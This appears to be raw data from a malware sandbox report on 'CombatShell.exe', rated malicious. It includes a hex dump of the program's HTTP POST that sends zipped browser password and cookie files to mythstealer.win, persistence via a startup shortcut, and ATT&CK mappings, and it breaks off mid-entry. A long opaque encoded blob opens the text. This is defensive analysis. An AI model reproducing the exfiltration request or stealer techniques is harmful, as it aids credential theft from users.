jMzOjM3OjM1OjM3OjM5OjM1OjMyOjA5OjQ1OjUzOjRjOjQxOjQ2OjA5OjJmOjA5OjQ1OjU1OjUyOjU0OjA5OjZkOjZmOjYzOjJlOjY1OjYyOjZmOjY0OjYxOjJlOjBhOjMxOjA5OjY1OjY5OjZiOjZmOjZmOjYzOjVmOjY1OjZjOjYyOjYxOjZlOjY1OjVmOjc0Ojc0OjVmOjA5OjM2OjM1OjM0OjMzOjM3OjM1OjM3OjM5OjM1OjMyOjA5OjQ1OjUzOjRjOjQxOjQ2OjA5OjJmOjA5OjQ1OjU1OjUyOjU0OjA5OjZkOjZmOjYzOjJlOjY1OjYyOjZmOjY0OjYxOjJlOjBhOjNkOjNkOjQxOjQxOjQxOjQxOjY3OjRkOjYzOjMwOjM4OjMzOjM4OjM2OjdhOjczOjUyOjQ5OjQ2OjRkOjczOjQ3OjQ1OjZlOjU2OjZhOjU4OjZlOjZkOjc2OjYxOjM4Ojc0OjM1OjZiOjc5OjZlOjQyOjU4Ojc0Ojc4OjZhOjU5OjU4OjM1OjY0OjZiOjQ4OjYyOjY2OjYzOjQyOjM2OjQ0Ojc5OjM1OjQxOjc5OjQ5OjA5Ojc0OjYxOjVmOjYzOjczOjA5OjM2OjM1OjM0OjMzOjM3OjM1OjM3OjM5OjM1OjMyOjA5OjQ1OjUzOjRjOjQxOjQ2OjA5OjJmOjA5OjQ1OjU1OjUyOjU0OjA5OjZkOjZmOjYzOjJlOjc0OjYxOjY4OjYzOjcwOjYxOjZlOjczOjJlOjBhOjMzOjYzOjM0OjY2OjA5OjcyOjVmOjY0OjY5OjYzOjczOjVmOjA5OjM2OjM1OjM0OjMzOjM3OjM1OjM3OjM5OjM1OjMyOjA5OjQ1OjUzOjRjOjQxOjQ2OjA5OjJmOjA5OjQ1OjU1OjUyOjU0OjA5OjZkOjZmOjYzOjJlOjY1OjYyOjZmOjY0OjYxOjJlOjBhOjMzOjYzOjM0OjY2OjA5OjY0OjY5OjYzOjczOjVmOjA5OjM2OjM1OjM0OjMzOjM3OjM1OjM3OjM5OjM1OjMyOjA5OjQ1OjUzOjRjOjQxOjQ2OjA5OjJmOjA5OjQ1OjU1OjUyOjU0OjA5OjZkOjZmOjYzOjJlOjY1OjYyOjZmOjY0OjYxOjJlOjBhOjczOjM5Ojc0OjZiOjc2OjZkOjdhOjcyOjc5Ojc3OjUyOjM1OjRhOjcxOjcwOjQ4OjRlOjc3OjQyOjU1OjQyOjQ1OjU2OjY0OjMzOjYzOjMyOjA5OjcwOjc0Ojc0OjVmOjA5OjM2OjM1OjM0OjMzOjM3OjM1OjM3OjM5OjM1OjMyOjA5OjQ1OjUzOjRjOjQxOjQ2OjA5OjJmOjA5OjQ1OjU1OjUyOjU0OjA5OjZkOjZmOjYzOjJlOjZiOjZmOjc0OjZiOjY5Ojc0OjJlOjBhOjM1OjMwOjM4OjMyOjM3OjJkOjM4OjMwOjM0OjM3OjMxOjMyOjM0OjM0OjMzOjM3OjMwOjM3OjMxOjJkOjZkOjZmOjYzOjA5OjZiOjcyOjc0OjVmOjZmOjc0OjZiOjZkOjVmOjA5OjM2OjM1OjM0OjMzOjM3OjM1OjM3OjM5OjM1OjMyOjA5OjQ1OjUzOjRjOjQxOjQ2OjA5OjJmOjA5OjQ1OjU1OjUyOjU0OjA5OjZkOjZmOjYzOjJlOjY1OjYyOjZmOjY0OjYxOjJlOjBhOjdkOjMyOjMyOjI1OjM3OjMxOjMwOjM2OjM0OjMzOjM3OjMwOjM3OjMxOjQzOjA5OjY0Ojc1OjZmOjZjOjYzOjY0OjYxOjA5OjM2OjM1OjM0OjMzOjM3OjM1OjM3OjM5OjM1OjMyOjA5OjQ1OjUzOjRjOjQxOjQ2OjA5OjJmOjA5OjQ1OjU1OjUyOjU0OjA5OjZkOjZmOjYzOjJlOjY1OjYyOjZmOjY0OjYxOjJlOjBhOjM2OjM2OjMwOjM5OjYxOjMwOjM2OjM0OjYyOjM1OjMyOjM2OjMwOjMxOjM5OjMyOjY0OjMwOjYxOjMzOjM3OjY0OjM1OjYxOjM2OjYxOjMzOjMwOjY0OjY2OjM0OjY2OjM5OjMxOjM1OjM4OjM4OjM1OjMyOjM2OjY2OjY2OjM2OjYyOjY0OjM2OjMwOjY2OjY0OjY1OjMzOjYxOjMxOjYxOjMwOjY2OjM5OjM4OjMxOjM5OjM2OjMxOjM5OjMwOjdjOjY2OjMzOjM4OjYyOjY0OjMyOjM4OjM3OjM2OjYxOjM0OjM2OjMzOjYxOjY0OjMyOjM3OjMyOjY2OjM4OjY1OjMzOjY0OjYyOjY2OjM5OjM4OjY1OjMzOjMwOjM3OjMxOjMxOjM4OjYyOjA5Ojc0OjcwOjA5OjM2OjM1OjM0OjMzOjM3OjM1OjM3OjM5OjM1OjMyOjA5OjQ1OjUzOjRjOjQxOjQ2OjA5OjJmOjA5OjQ1OjU1OjUyOjU0OjA5Ojc2Ojc0OjJlOjc0OjZmOjcwOjczOjY5OjJlOjBhOjZlOjY5OjQ0OjMzOjI1OjZjOjYxOjcyOjY1OjZlOjY1OjY3OjA5Ojc0OjZlOjY1OjczOjZlOjZmOjYzOjVmOjY3OjcyOjRmOjY1OjYyOjZmOjY0OjQxOjVmOjM1OjM0OjQ0OjMwOjM5OjM0OjQxOjMwOjQxOjQzOjMxOjM2OjQ0OjQ1OjMxOjM1OjM1OjQxOjM1OjMwOjMwOjMxOjQ1OjM5OjVmOjcyOjc0OjYzOjY0OjZlOjZiOjA5OjM2OjM1OjM0OjMzOjM3OjM1OjM3OjM5OjM1OjMyOjA5OjQ1OjUzOjRjOjQxOjQ2OjA5OjJmOjA5OjQ1OjU1OjUyOjU0OjA5OjZkOjZmOjYzOjJlOjY1OjYyOjZmOjY0OjYxOjJlOjBhOjMxOjQxOjMzOjI1OjM0OjMwOjMwOjMwOjQzOjQzOjMyOjI1OjMxOjQxOjMzOjI1OjMzOjMwOjMwOjMwOjA5Ojc0OjZlOjY1OjczOjZlOjZmOjQzOjZlOjZmOjZlOjYxOjc0OjcwOjRmOjA5OjM2OjM1OjM0OjMzOjM3OjM1OjM3OjM5OjM1OjMyOjA5OjQ1OjUzOjRjOjQxOjQ2OjA5OjJmOjA5OjQ1OjU1OjUyOjU0OjA5OjZkOjZmOjYzOjJlOjY1OjYyOjZmOjY0OjYxOjJlOjBhOjVhOjMxOjMyOjMxOjJlOjMzOjM1OjNhOjM2OjMxOjNhOjMyOjMyOjU0OjM3OjMwOjJkOjMyOjMwOjJkOjM0OjMyOjMwOjMyOjA5OjY0OjY1OjczOjZmOjZjOjQzOjc4OjZmOjQyOjc0OjcyOjY1OjZjOjQxOjZlOjZmOjZlOjYxOjc0OjcwOjRmOjA5OjM2OjM1OjM0OjMzOjM3OjM1OjM3OjM5OjM1OjMyOjA5OjQ1OjUzOjRjOjQxOjQ2OjA5OjJmOjA5OjQ1OjU1OjUyOjU0OjA5OjZkOjZmOjYzOjJlOjY1OjYyOjZmOjY0OjYxOjJlOjBhOjM2OjM3OjMxOjMyOjM2OjMzOjM5OjM4OjM5OjM5OjM2OjM2OjA5OjY3OjcyOjRmOjY1OjYyOjZmOjY0OjQxOjMwOjM0OjI1OjM1OjM0OjQ0OjMwOjM5OjM0OjQxOjMwOjQxOjQzOjMxOjM2OjQ0OjQ1OjMxOjM1OjM1OjQxOjM1OjMwOjMwOjMxOjQ1OjM5OjVmOjU2OjQzOjRkOjQxOjA5OjM2OjM1OjM0OjMzOjM3OjM1OjM3OjM5OjM1OjMyOjA5OjQ1OjUzOjRjOjQxOjQ2OjA5OjJmOjA5OjQ1OjU1OjUyOjU0OjA5OjZkOjZmOjYzOjJlOjY1OjYyOjZmOjY0OjYxOjJlOjBhOjQ0OjMzOjI1OjQ1OjQ0OjMyOjc0OjUzOjM1Ojc5OjZmOjQ4OjQxOjM4OjQxOjQxOjZhOjRkOjUzOjM5OjMwOjQxOjcxOjQ1OjQxOjQ3OjQyOjQxOjUyOjRkOjU5OjMzOjRiOjZjOjRjOjZhOjRmOjQzOjUzOjQ5OjZjOjRlOjMzOjQ1OjZhOjRkOjMyOjRkOjU0OjRmOjM0OjZiOjU0OjRmOjMyOjU5OjdhOjRlOjMwOjQ5OjU0OjRlOjA5Ojc5Ojc0OjY5Ojc0OjZlOjY1OjY0OjY5OjVmOjY3OjcyOjRmOjY1OjYyOjZmOjY0OjQxOjVmOjM1OjM0OjQ0OjMwOjM5OjM0OjQxOjMwOjQxOjQzOjMxOjM2OjQ0OjQ1OjMxOjM1OjM1OjQxOjM1OjMwOjMwOjMxOjQ1OjM5OjVmOjcyOjc0OjYzOjY0OjZlOjZiOjA5OjM2OjM1OjM0OjMzOjM3OjM1OjM3OjM5OjM1OjMyOjA5OjQ1OjUzOjRjOjQxOjQ2OjA5OjJmOjA5OjQ1OjU1OjUyOjU0OjA5OjZkOjZmOjYzOjJlOjY1OjYyOjZmOjY0OjYxOjJlOjBhOjM5OjM2OjMwOjM2OjM0OjMzOjM3OjMwOjM3OjMxOjMzOjMyOjI1OjU1Ojc0OjZkOjRjOjZiOjRhOjQ0OjMyOjI1OjM2OjM3OjMxOjMyOjM2OjMzOjM5OjM4OjM5OjM5OjM2OjM2OjM3OjM0OjMyOjM1OjA5Ojc4OjZmOjYyOjZkOjA5OjM2OjM1OjM0OjMzOjM3OjM1OjM3OjM5OjM1OjMyOjA5OjQ1OjUzOjRjOjQxOjQ2OjA5OjJmOjA5OjQ1OjU1OjUyOjU0OjA5OjZkOjZmOjYzOjJlOjY1OjYyOjZmOjY0OjYxOjJlOjBhOjc3OjY1OjRlOjJkOjMzOjMwOjM3OjM5OjMwOjMyOjM0OjM0OjMzOjM3OjMwOjM3OjMxOjA5OjcyOjZlOjVmOjczOjA5OjM2OjM1OjM0OjMzOjM3OjM1OjM3OjM5OjM1OjMyOjA5OjQ1OjUzOjRjOjQxOjQ2OjA5OjJmOjA5OjQ1OjU1OjUyOjU0OjA5OjZkOjZmOjYzOjJlOjY1OjYyOjZmOjY0OjYxOjJlOjBhOjMwOjMwOjNkOjQ0OjQ5OjUzOjA5OjUzOjUzOjVmOjA5OjM2OjM1OjM0OjMzOjM3OjM1OjM3OjM5OjM1OjMyOjA5OjQ1OjUzOjRjOjQxOjQ2OjA5OjJmOjA5OjQ1OjU1OjUyOjU0OjA5OjZkOjZmOjYzOjJlOjZlOjczOjZkOjJlOjBhOjM1OjM0OjM4OjM4OjMwOjMzOjM1OjM5OjM2OjMxOjA5OjczOjc0OjY0OjY5OjY0OjA5OjM2OjM1OjM0OjMzOjM3OjM1OjM3OjM5OjM1OjMyOjA5OjQ1OjUzOjRjOjQxOjQ2OjA5OjJmOjA5OjQ1OjU1OjUyOjU0OjA5OjZkOjZmOjYzOjJlOjZmOjY5OjcwOjcwOjY5OjcwOjJlOjBhOjQ1OjZkOjU1OjZkOjc3OjM0OjVmOjdhOjcyOjQxOjczOjczOjZiOjJkOjJkOjQzOjA5OjY0OjY5OjY0OjA5OjM2OjM1OjM0OjMzOjM3OjM1OjM3OjM5OjM1OjMyOjA5OjQ1OjUzOjRjOjQxOjQ2OjA5OjJmOjA5OjQ1OjU1OjUyOjU0OjA5OjZkOjZmOjYzOjJlOjZmOjY5OjcwOjcwOjY5OjcwOjJlOjBhOjM5OjM3OjM4OjMwOjM0OjM4OjM4OjMwOjMzOjM1OjM5OjM2OjMxOjNkOjU1OjRjOjI2OjM0OjNkOjU2OjI2OjM5OjMwOjMzOjMyOjMwOjMyOjNkOjU2OjRjOjI2OjM1OjM3OjMyOjM3OjNkOjQ4OjUzOjQxOjQ4OjI2OjMzOjMzOjMyOjM2OjMyOjA5OjQzOjUwOjQ2OjUzOjRkOjA5OjM2OjM1OjM0OjMzOjM3OjM1OjM3OjM5OjM1OjMyOjA5OjQ1OjUzOjRjOjQxOjQ2OjA5OjJmOjA5OjQ1OjU1OjUyOjU0OjA5OjZkOjZmOjYzOjJlOjc0OjY2OjZmOjczOjZmOjcyOjYzOjY5OjZkOjJlOjc3Ojc3Ojc3OjBhOjM5OjM3OjM4OjMwOjM0OjM4OjM4OjMwOjMzOjM1OjM5OjM2OjMxOjNkOjU1OjRjOjI2OjM0OjNkOjU2OjI2OjM5OjMwOjMzOjMyOjMwOjMyOjNkOjU2OjRjOjI2OjM1OjM3OjMyOjM3OjNkOjQ4OjUzOjQxOjQ4OjI2OjMzOjMzOjMyOjM2OjMyOjA5OjMxOjQzOjRkOjA5OjM2OjM1OjM0OjMzOjM3OjM1OjM3OjM5OjM1OjMyOjA5OjQ1OjUzOjRjOjQxOjQ2OjA5OjJmOjA5OjQ1OjU1OjUyOjU0OjA5OjZkOjZmOjYzOjJlOjc0OjY2OjZmOjczOjZmOjcyOjYzOjY5OjZkOjJlOjBhOjIyOjQ1OjM2OjQ2OjM0OjJkOjYyOjVhOjU0OjcwOjM3OjM5OjQ5OjRmOjMwOjZiOjc2OjU3OjMzOjZjOjY2OjY0OjcyOjZkOjRlOjJkOjc1OjQ2OjdhOjMyOjQ3OjUxOjQxOjM0OjY1OjMwOjMwOjM5OjMzOjMyOjM2OjYzOjYyOjYzOjM3OjJkOjY2OjY1OjYxOjM4OjJkOjM1OjM4OjMyOjM0OjJkOjA5OjY1OjY5OjZiOjZmOjZmOjYzOjczOjYyOjA5OjM2OjM1OjM0OjMzOjM3OjM1OjM3OjM5OjM1OjMyOjA5OjQ1OjUzOjRjOjQxOjQ2OjA5OjJmOjA5OjQ1OjU1OjUyOjU0OjA5OjZkOjZmOjYzOjJlOjZlOjY5OjY0OjY1OjZiOjZlOjY5OjZjOjJlOjc3Ojc3Ojc3OjJlOjBhOjVhOjMxOjMxOjNhOjM3OjMwOjNhOjM1OjMxOjU0OjMxOjMyOjJkOjM5OjMwOjJkOjMzOjMyOjMwOjMyOjNkOjQzOjY2OjY1OjUyOjJlOjQ0OjMzOjMzOjMxOjM2OjM4OjM4OjMzOjM3OjQ2OjQ1OjM0OjQ1OjMwOjQ2OjQyOjMyOjM1OjMyOjM0OjM3OjQ2OjMwOjQ2OjQyOjM0OjQzOjQ0OjM1OjQyOjMzOjA5Ojc0OjY1OjZiOjcyOjYxOjZkOjc0OjcwOjczOjA5OjM2OjM1OjM0OjMzOjM3OjM1OjM3OjM5OjM1OjMyOjA5OjQ1OjUzOjRjOjQxOjQ2OjA5OjJmOjA5OjQ1OjU1OjUyOjU0OjA5OjZkOjZmOjYzOjJlOjZlOjczOjZkOjJlOjcwOjc0OjZlOjc0Ojc4Ojc0OjJlOjczOjY1OjY5OjZiOjZmOjZmOjYzOjJmOjc0OjZjOjc1OjYxOjY2OjY1OjQ0OjY1OjY3OjY0OjQ1OjJmOjcyOjY1OjczOjc3OjZmOjcyOjYyOjAwOjAwOjAwOjFmOjAwOjAwOjBlOjE0OjAwOjAwOjBlOjE0OmZhOjg4OjMzOmY2OjVhOmRkOjZmOjNkOjAwOjAwOjAwOjAwOjAwOjE0OjA0OjAzOjRiOjUwOjc0Ojc4Ojc0OjJlOjczOjY0OjcyOjZmOjc3OjczOjczOjYxOjcwOjJmOjc0OjZjOjc1OjYxOjY2OjY1OjQ0OjY1OjY3OjY0OjQ1OjJmOjcyOjY1OjczOjc3OjZmOjcyOjYyOjAwOjAwOjAwOjIxOjAwOjAwOjAwOjAwOjAwOjAwOjAwOjAwOjAwOjAwOjAwOjAwOjVhOmRkOjZmOjNkOjAwOjAwOjAwOjAwOjAwOjE0OjA0OjAzOjRiOjUwOjc0Ojc4Ojc0OjJlOjczOjY0OjcyOjYxOjYzOjc0OjY5OjY0OjY1OjcyOjYzOjJmOjc0OjZjOjc1OjYxOjY2OjY1OjQ0OjY1OjZkOjZmOjcyOjY4OjQzOjJmOjcyOjY1OjczOjc3OjZmOjcyOjYyOjAwOjAwOjAwOjI1OjAwOjAwOjAwOjAwOjAwOjAwOjAwOjAwOjAwOjAwOjAwOjAwOjVhOmRkOjZmOjNkOjAwOjAwOjAwOjAwOjAwOjE0OjA0OjAzOjRiOjUwOjc0Ojc4Ojc0OjJlOjYxOjc0OjYxOjY0OjJkOjYyOjY1Ojc3OjJmOjc0OjZjOjc1OjYxOjY2OjY1OjQ0OjY1OjZkOjZmOjcyOjY4OjQzOjJmOjcyOjY1OjczOjc3OjZmOjcyOjYyOjAwOjAwOjAwOjIyOjAwOjAwOjAwOjAwOjAwOjAwOjAwOjAwOjAwOjAwOjAwOjAwOjVhOmRkOjZmOjNkOjAwOjAwOjAwOjAwOjAwOjE0OjA0OjAzOjRiOjUwOjc0Ojc4Ojc0OjJlOjczOjY1OjY5OjZiOjZmOjZmOjYzOjJmOjc0OjZjOjc1OjYxOjY2OjY1OjQ0OjY1OjZkOjZmOjcyOjY4OjQzOjJmOjcyOjY1OjczOjc3OjZmOjcyOjYyOjAwOjAwOjAwOjIxOjAwOjAwOjAwOjAwOjAwOjAwOjAwOjAwOjAwOjAwOjAwOjAwOjVhOmRkOjZmOjNkOjAwOjAwOjAwOjAwOjAwOjE0OjA0OjAzOjRiOjUwOjc0Ojc4Ojc0OjJlOjczOjY0OjcyOjZmOjc3OjczOjczOjYxOjcwOjJmOjc0OjZjOjc1OjYxOjY2OjY1OjQ0OjY1OjZkOjZmOjcyOjY4OjQzOjJmOjcyOjY1OjczOjc3OjZmOjcyOjYyOjAwOjAwOjAwOjIzOjAwOjAwOjAwOjAwOjAwOjAwOjAwOjAwOjAwOjAwOjAwOjAwOjVhOmRkOjZmOjNkOjAwOjAwOjAwOjAwOjAwOjE0OjA0OjAzOjRiOjUwOjBhOjMxOjA5OjMxOjJkOjMxOjMyOjMzOjM2OjMxOjMxOjM2OjMzOjJkOjQxOjU1OjVmOjc0OjYxOjY3OjVmOjA5OjM2OjM1OjM0OjMzOjM3OjM1OjM3OjM5OjM1OjMyOjA5OjQ1OjUzOjRjOjQxOjQ2OjA5OjJmOjA5OjQ1OjU1OjUyOjU0OjA5OjY3OjcyOjZmOjJlOjYxOjZjOjZjOjY5OjdhOjZmOjZkOjJlOjBhOjMxOjM1OjM5OjM2OjMyOjMxOjM2OjMwOjM3OjMxOjJlOjM1OjM5OjMyOjM457:Tdec, 0 : 50 4F 53 54 20 2F 6D 79 74 68 2F 61 70 69 20 48 [POST /myth/api H] 10 : 54 54 50 2F 31 2E 31 0A 6B 65 79 3A 20 6D 79 74 [TTP/1.1.key: myt] 20 : 68 2D 65 38 35 35 32 62 63 33 2D 64 36 30 61 0A [h-e8552bc3-d60a.] 30 : 63 6F 6E 74 65 6E 74 2D 74 79 70 65 3A 20 61 70 [content-type: ap] 40 : 70 6C 69 63 61 74 69 6F 6E 2F 6F 63 74 65 74 2D [plication/octet-] 50 : 73 74 72 65 61 6D 0A 63 6F 6E 74 65 6E 74 2D 6C [stream.content-l] 60 : 65 6E 67 74 68 3A 20 35 36 38 32 0A 61 63 63 65 [ength: 5682.acce] 70 : 70 74 3A 20 2A 2F 2A 0A 68 6F 73 74 3A 20 6D 79 [pt: */*.host: my] 80 : 74 68 73 74 65 61 6C 65 72 2E 77 69 6E 0A 30 30 [thstealer.win.00] 90 : 3A 30 30 3A 30 30 3A 30 30 3A 31 32 3A 65 35 3A [:00:00:00:12:e5:] A0 : 30 30 3A 30 30 3A 30 33 3A 33 37 3A 30 30 3A 30 [00:00:03:37:00:0] B0 : 62 3A 30 30 3A 30 62 3A 30 30 3A 30 30 3A 30 30 [b:00:0b:00:00:00] C0 : 3A 30 30 3A 30 36 3A 30 35 3A 34 62 3A 35 30 3A [:00:06:05:4b:50:] D0 : 37 34 3A 37 38 3A 37 34 3A 32 65 3A 36 66 3A 36 [74:78:74:2e:6f:6] E0 : 36 3A 36 65 3A 36 39 3A 36 33 3A 37 30 3A 30 30 [6:6e:69:63:70:00] F0 : 3A 30 30 3A 31 31 3A 39 30 3A 38 31 3A 61 34 3A [:00:11:90:81:a4:] 100 : 30 30 3A 30 30 3A 30 30 3A 30 30 3A 30 30 3A 30 [00:00:00:00:00:0] 110 : 30 3A 30 30 3A 30 30 3A 30 30 3A 30 30 3A 30 30 [0:00:00:00:00:00] 120 : 3A 30 61 3A 30 30 3A 30 30 3A 30 31 3A 32 64 3A [:0a:00:00:01:2d:] 130 : 30 30 3A 30 30 3A 30 31 3A 32 64 3A 64 62 3A 61 [00:00:01:2d:db:a] 140 : 65 3A 62 30 3A 61 35 3A 35 61 3A 64 64 3A 36 66 [e:b0:a5:5a:dd:6f] 150 : 3A 33 64 3A 30 30 3A 30 30 3A 30 30 3A 30 30 3A [:3d:00:00:00:00:] 160 : 30 30 3A 31 34 3A 30 33 3A 32 65 3A 30 32 3A 30 [00:14:03:2e:02:0] 170 : 31 3A 34 62 3A 35 30 3A 37 34 3A 37 38 3A 37 34 [1:4b:50:74:78:74] 180 : 3A 32 65 3A 37 33 3A 36 65 3A 36 35 3A 36 62 3A [:2e:73:6e:65:6b:] 190 : 36 66 3A 37 34 3A 30 30 3A 30 30 3A 31 31 3A 36 [6f:74:00:00:11:6] 1A0 : 38 3A 38 31 3A 61 34 3A 30 30 3A 30 30 3A 30 30 [8:81:a4:00:00:00] 1B0 : 3A 30 30 3A 30 30 3A 30 30 3A 30 30 3A 30 30 3A [:00:00:00:00:00:] 1C0 : 30 30 3A 30 30 3A 30 30 3A 30 61 3A 30 30 3A 30 [00:00:00:0a:00:0] 1D0 : 30 3A 30 30 3A 30 30 3A 30 30 3A 30 30 3A 30 30 [0:00:00:00:00:00] 1E0 : 3A 30 30 3A 30 30 3A 30 30 3A 30 30 3A 30 30 3A [:00:00:00:00:00:] 1F0 : 35 61 3A 64 64 3A 36 66 3A 33 64 3A 30 30 3A 30 [5a:dd:6f:3d:00:0] 200 : 30 3A 30 30 3A 30 30 3A 30 30 3A 31 34 3A 30 33 [0:00:00:00:14:03] 210 : 3A 32 65 3A 30 32 3A 30 31 3A 34 62 3A 35 30 3A [:2e:02:01:4b:50:] 220 : 37 34 3A 37 38 3A 37 34 3A 32 65 3A 37 33 3A 36 [74:78:74:2e:73:6] 230 : 34 3A 37 32 3A 36 31 3A 36 33 3A 37 34 3A 36 39 [4:72:61:63:74:69] 240 : 3A 36 34 3A 36 35 3A 37 32 3A 36 33 3A 32 66 3A [:64:65:72:63:2f:] 250 : 37 34 3A 36 63 3A 37 35 3A 36 31 3A 36 36 3A 36 [74:6c:75:61:66:6] 260 : 35 3A 34 34 3A 36 35 3A 36 37 3A 36 34 3A 34 35 [5:44:65:67:64:45] 270 : 3A 32 66 3A 37 32 3A 36 35 3A 37 33 3A 37 37 3A [:2f:72:65:73:77:] 280 : 36 66 3A 37 32 3A 36 32 3A 30 30 3A 30 30 3A 31 [6f:72:62:00:00:1] 290 : 31 3A 32 37 3A 38 31 3A 61 34 3A 30 30 3A 30 30 [1:27:81:a4:00:00] 2A0 : 3A 30 30 3A 30 30 3A 30 30 3A 30 30 3A 30 30 3A [:00:00:00:00:00:] 2B0 : 30 30 3A 30 30 3A 30 30 3A 30 30 3A 32 33 3A 30 [00:00:00:00:23:0] 2C0 : 30 3A 30 30 3A 30 30 3A 30 30 3A 30 30 3A 30 30 [0:00:00:00:00:00] 2D0 : 3A 30 30 3A 30 30 3A 30 30 3A 30 30 3A 30 30 3A [:00:00:00:00:00:] 2E0 : 30 30 3A 35 61 3A 64 64 3A 36 66 3A 33 64 [00:5a:dd:6f:3d] 1d:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$25"}}],["$","$L26",null,{"initialData":{"job_id":"68614625c15ddf3ec90a7a53","environment_id":140,"environment_description":"Windows 11 64 bit","size":57510456,"type":"PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows, 10 sections","type_short":["peexe","64bits","executable"],"type_short_id":"64-bit exe","target_url":null,"state":"SUCCESS","error_type":null,"error_origin":null,"submit_name":"CombatShell.exe","md5":"05c4a636b33f152daff5b625bac1d915","sha1":"f5cd9b5e2df6458b2b9efa73c25557e18a31ce0b","sha256":"b1912bafc809d300cc604f10062cbf5bab409ea03ffeedba13a914f40a242ebc","sha512":"a041503909f17d3b796232cb173458bc93bcbaa6caa25fb524d12bfe9e5f52f1cdb30c2eaa6cf5e3ba2432e2fb112e7e4c1cde8be5bf277d4eb140335b56ca74","ssdeep":"1572864:XUBkaX2Ai4cuisfIsJkqqUglO50wstQFx6MBMPdL:XSkaGAvhvffqBlOe/Qx6JL","imphash":"ebf611e7aee7da81e8cfdb4cb6164a95","entrypoint":"0x1400013d0","entrypoint_section":".text","image_base":"0x140000000","subsystem":"Windows Gui","image_file_characteristics":["EXECUTABLE_IMAGE","LINE_NUMS_STRIPPED","LOCAL_SYMS_STRIPPED","LARGE_ADDRESS_AWARE","DEBUG_STRIPPED"],"dll_characteristics":["HIGH_ENTROPY_VA","DYNAMIC_BASE","NX_COMPAT"],"major_os_version":"4","minor_os_version":"0","av_detect":null,"vx_family":null,"url_analysis":false,"analysis_start_time":"2025-06-29T13:57:06+00:00","threat_score":100,"interesting":false,"threat_level":2,"verdict":"malicious","certificates":[{"owner":"CN=Sectigo Public Code Signing Root R46, O=Sectigo Limited, C=GB","issuer":"CN=AAA Certificate Services, O=Comodo CA Limited, L=Salford, ST=Greater Manchester, C=GB","serial_number":"48fc93b46055948d36a7c98a89d69416","md5":"2A:A3:20:98:2E:00:19:3F:AD:3B:D0:EA:54:06:E4:CD","sha1":"32:9B:78:A5:C9:EB:C2:04:32:42:DE:90:CE:1B:7C:6B:1B:A6:C6:92","valid_from":"2021-05-25T00:00:00+00:00","valid_until":"2028-12-31T23:59:59+00:00"},{"owner":"CN=Sectigo Public Code Signing CA EV R36, O=Sectigo Limited, C=GB","issuer":"CN=Sectigo Public Code Signing Root R46, O=Sectigo Limited, C=GB","serial_number":"33d708a891405319e2a5bbd339b9ad6e","md5":"D3:86:D4:05:6A:49:5D:D6:32:C4:C9:C8:BE:85:74:06","sha1":"01:85:FF:99:61:FF:0A:A2:E4:31:81:79:48:C2:8E:83:D3:F3:EC:70","valid_from":"2021-03-22T00:00:00+00:00","valid_until":"2036-03-21T23:59:59+00:00"},{"owner":"CN=RIDEV YAZILIM SİSTEMLERİ LTD ŞTİ, O=RIDEV YAZILIM SİSTEMLERİ LTD ŞTİ, ST=İstanbul, C=TR, OID.2.5.4.15=Private Organization, OID.1.3.6.1.4.1.311.60.2.1.3=TR, SERIALNUMBER=263286-5","issuer":"CN=Sectigo Public Code Signing CA EV R36, O=Sectigo Limited, C=GB","serial_number":"295af111a9e180675a335df9e648536e","md5":"E7:65:62:B8:36:03:DB:DB:F0:38:81:A5:F5:B4:52:5A","sha1":"B9:3C:BB:E3:7A:AF:7D:05:91:F0:12:66:02:92:E7:02:3E:42:25:E5","valid_from":"2023-02-20T00:00:00+00:00","valid_until":"2026-02-19T23:59:59+00:00"}],"is_certificates_valid":false,"certificates_validation_message":"No signature was present in the subject. (0x800b0100)","domains":["api.ipify.org","mythstealer.win"],"compromised_hosts":[],"hosts":["172.67.74.152","172.67.182.176"],"total_network_connections":2,"total_processes":4,"total_signatures":224,"extracted_files":[],"file_metadata":{"file_compositions":[],"imported_objects":[],"file_analysis":[],"total_file_compositions_imports":null},"processes":[{"uid":"00000000-00005644","parentuid":null,"name":"CombatShell.exe","normalized_path":"C:\\CombatShell.exe","command_line":null,"sha256":"b1912bafc809d300cc604f10062cbf5bab409ea03ffeedba13a914f40a242ebc","av_label":null,"av_matched":null,"av_total":null,"pid":"5644","icon":"$27","process_flags":[{"name":"Network Activity","data":null}]},{"uid":"00000000-00000648","parentuid":null,"name":"winlnk.exe","normalized_path":"%APPDATA%\\winlnk.exe","command_line":"\"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\mcr.lnkk\"","sha256":"b1912bafc809d300cc604f10062cbf5bab409ea03ffeedba13a914f40a242ebc","av_label":null,"av_matched":null,"av_total":null,"pid":"648","icon":"$28","process_flags":[]},{"uid":"00000000-00001332","parentuid":"00000000-00000648","name":"WerFault.exe","normalized_path":"%WINDIR%\\system32\\WerFault.exe","command_line":"-u -p 648 -s 1012","sha256":"0b7f2ca998ecf2a623e04f565354a09091e0a35c8442d7d9b6812b64b9121bc2","av_label":null,"av_matched":null,"av_total":null,"pid":"1332","icon":null,"process_flags":[{"name":"Reduced Monitoring","data":null}]},{"uid":"00000000-00004820","parentuid":null,"name":"WerFault.exe","normalized_path":"%WINDIR%\\system32\\WerFault.exe","command_line":"-pss -s 440 -p 648 -ip 648","sha256":"0b7f2ca998ecf2a623e04f565354a09091e0a35c8442d7d9b6812b64b9121bc2","av_label":null,"av_matched":null,"av_total":null,"pid":"4820","icon":"$29","process_flags":[{"name":"Reduced Monitoring","data":null}]}],"mitre_attcks":[{"tactic":"Reconnaissance","technique":"IP Addresses","attck_id":"T1590.005","attck_id_wiki":"https://attack.mitre.org/techniques/T1590/005","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":1,"suspicious_identifiers":[],"informative_identifiers_count":0,"informative_identifiers":[],"parent":{"technique":"Gather Victim Network Information","attck_id":"T1590","attck_id_wiki":"https://attack.mitre.org/techniques/T1590"}},{"tactic":"Reconnaissance","technique":"Gather Victim Network Information","attck_id":"T1590","attck_id_wiki":"https://attack.mitre.org/techniques/T1590","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Able to access user sensitive domain"],"parent":null},{"tactic":"Resource Development","technique":"Domains","attck_id":"T1583.001","attck_id_wiki":"https://attack.mitre.org/techniques/T1583/001","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":1,"suspicious_identifiers":[],"informative_identifiers_count":2,"informative_identifiers":["Short-term SSL certificate 